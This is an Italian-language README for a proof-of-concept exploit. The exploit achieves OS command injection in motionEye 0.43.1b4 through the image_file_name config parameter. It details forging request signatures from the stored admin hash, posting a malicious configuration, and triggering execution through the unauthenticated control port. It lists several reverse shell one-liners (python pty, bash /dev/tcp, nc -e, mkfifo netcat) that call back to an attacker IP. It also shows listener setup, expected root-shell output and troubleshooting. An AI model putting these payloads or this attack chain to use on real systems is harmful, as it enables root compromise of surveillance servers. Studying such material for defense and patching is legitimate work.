
MotionEye v0.43.1b4 Iniezione di comandi del sistema operativo
MotionEye v0.43.1b4 OS Command Injection
Un proof-of-concept di OS Command Injection per una vulnerabilità in motionEye, un frontend web per il demone motion. La vulnerabilità abusa del parametro di configurazione image_file_name, passato direttamente alla shell senza sanitizzazione, consentendo l'iniezione arbitraria di comandi tramite la sintassi $(command) subshell.
Disclaimer: Utilizzare solo contro sistemi per cui si ha esplicita autorizzazione al test. L'uso non autorizzato è illegale.
motionEye passa il valore di configurazione image_file_name direttamente al demone motion come pattern di nome file di shell. Motion valuta le espressioni subshell $(...) all'interno dei nomi file al momento dello snapshot, il che significa che qualsiasi comando inserito in $(...) viene eseguito come l'utente che esegue il processo motion (tipicamente root).
La catena d'attacco completa è:
1. Leggere l'hash admin_password da /etc/motioneye/motion.conf
↓
2. Derivare il cookie hash = SHA1(admin_password_hash)
↓
3. Calcolare la firma HMAC usando l'algoritmo esatto di motionEye:
SHA1("METHOD:path:body:key")
↓
4. POST di una configurazione malevola a /config/{cam}/set/ con:
image_file_name = $(tuo_comando).%Y-%m-%d-%H-%M-%S
↓
5. Attivare lo snapshot tramite la porta di controllo motion senza autenticazione 7999
↓
6. Motion valuta il nome file → il comando viene eseguito come root
↓
7. La reverse shell si collega alla macchina attaccante
8765)/etc/motioneye/motion.confnc)Non sono richiesti pacchetti Python di terze parti — l'exploit utilizza solo la libreria standard.
Il file di configurazione di motionEye memorizza la password amministratore come hash SHA1. Leggerlo dal target:
cat /etc/motioneye/motion.conf
Cercare la riga di commento @admin_password:
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
Il valore dopo
@admin_passwordè un hash SHA1 della password in chiaro, non la password stessa. Questo hash è ciò che serve per l'exploit.
Notare anche il valore webcontrol_port — è la porta di controllo motion senza autenticazione utilizzata per attivare gli snapshot:
webcontrol_port 7999
webcontrol_localhost on
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
camera camera-2.conf
motionEye utilizza uno schema di autenticazione a doppio hash:
password_in_chiaro
│
▼ SHA1
admin_password ←── memorizzata in motion.conf come @admin_password
│
▼ SHA1
cookie_hash ←── inviato nel cookie del browser come meye_password_hash
│
▼ usato come chiave HMAC
request_signature ←── parametro _signature= in ogni richiesta API
L'exploit deriva automaticamente il cookie hash dall'hash di configurazione:
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()
Puoi verificarlo manualmente:
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052
La firma viene calcolata dal codice sorgente di motionEye in
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:
SHA1("METHOD:path:body:key")
Dove:
METHOD — metodo HTTP (POST)path — URI con _signature rimosso dalla stringa di query, parametri ordinati, valori codificati URL, poi filtrati attraverso _SIGNATURE_REGEXbody — stringa JSON grezza del corpo filtrata attraverso _SIGNATURE_REGEXkey — può essere admin_password o admin_hash (motionEye accetta entrambi), filtrato attraverso _SIGNATURE_REGEXLa _SIGNATURE_REGEX rimuove qualsiasi carattere non in [a-zA-Z0-9/?_.=&{}\[\]":, -], sostituendoli con -.
Apri exploit.py e imposta le seguenti variabili all'inizio:
MOTIONEYE_URL = "http://127.0.0.1:8765" # URL interfaccia web motionEye
MOTION_URL = "http://127.0.0.1:7999" # porta di controllo motion (senza auth)
USERNAME = "admin" # nome utente amministratore (default: admin)
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0" # da motion.conf
LHOST = "10.10.16.153" # IP del tuo listener — il target deve poterlo raggiungere
LPORT = "4444" # porta del tuo listener
Il comando della reverse shell viene impostato automaticamente da LHOST e LPORT:
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
Comandi shell alternativi — sostituisci COMMAND se quello predefinito è bloccato:
# Bash TCP (semplice, potrebbe essere filtrato)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
# Netcat con flag -e
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"
# Netcat senza -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"
Sulla tua macchina attaccante, avvia un listener netcat prima di eseguire l'exploit:
nc -lvnp 4444
L'exploit fa una pausa di 5 secondi dopo aver stampato il promemoria del listener, dandoti il tempo per cambiare terminale.
python3 exploit.py
Output previsto:
============================================================
motionEye RCE — Reverse Shell
============================================================
[*] LHOST : 10.10.16.153
[*] LPORT : 4444
[*] Comando : python3 -c '...'
[!] Avvia ORA il tuo listener:
nc -lvnp 4444
[*] Invio del payload tra 5 secondi...
[*] cam=2 key=admin_password ts=1773484327292
sig=abc123...
status=200 resp={}
[+] Config salvata! cam=2 key=admin_password
[*] Attivazione snapshot tramite porta 7999 (senza auth)...
[+] cam 0 → 200 Snapshot per camera 0 completato
[+] cam 1 → 200 Snapshot per camera 1 completato
[+] cam 2 → 200 Snapshot per camera 2 completato
[+] Snapshot attivato — controlla il tuo listener su 10.10.16.153:4444
Sul tuo listener dovresti ricevere:
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#
403 Non autorizzato su tutte le richieste
La firma è errata. Verifica che il valore di ADMIN_HASH corrisponda esattamente alla riga @admin_password in motion.conf — nessuno spazio, nessun carattere di nuova riga.
cat /etc/motioneye/motion.conf | grep admin_password
Gli snapshot si attivano ma non arriva nessuna shell
L'iniezione di image_file_name ha funzionato ma la reverse shell è stata bloccata. Prova un COMMAND alternativo dal Passo 4. Conferma anche che il target possa raggiungere il tuo LHOST:
# Sul target
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444
La porta 7999 rifiuta la connessione
L'impostazione webcontrol_localhost on limita la porta 7999 solo al localhost. L'exploit deve essere eseguito dalla macchina target o tramite un tunnel. Conferma con:
ss -tlnp | grep 7999
motion.conf non leggibile
Il file potrebbe richiedere privilegi elevati:
sudo cat /etc/motioneye/motion.conf
Nessuna configurazione della camera trovata
Controlla quali file di configurazione della camera esistono e aggiorna l'elenco cam nell'exploit se necessario:
ls /etc/motioneye/camera-*.conf
| Parametro | Posizione | Descrizione | Esempio |
|---|
MOTIONEYE_URL | exploit.py | URL completo dell'interfaccia web motionEye | http://127.0.0.1:8765 |
MOTION_URL | exploit.py | URL della porta di controllo motion (nessuna autenticazione richiesta) | http://127.0.0.1:7999 |
USERNAME | exploit.py | Nome utente amministratore motionEye | admin |
ADMIN_HASH | exploit.py | Hash SHA1 da @admin_password in motion.conf | 989c5a8e... |
LHOST | exploit.py | IP della tua macchina attaccante — il target deve raggiungerlo | 10.10.16.153 |
LPORT | exploit.py | Porta su cui è in ascolto il tuo listener nc | 4444 |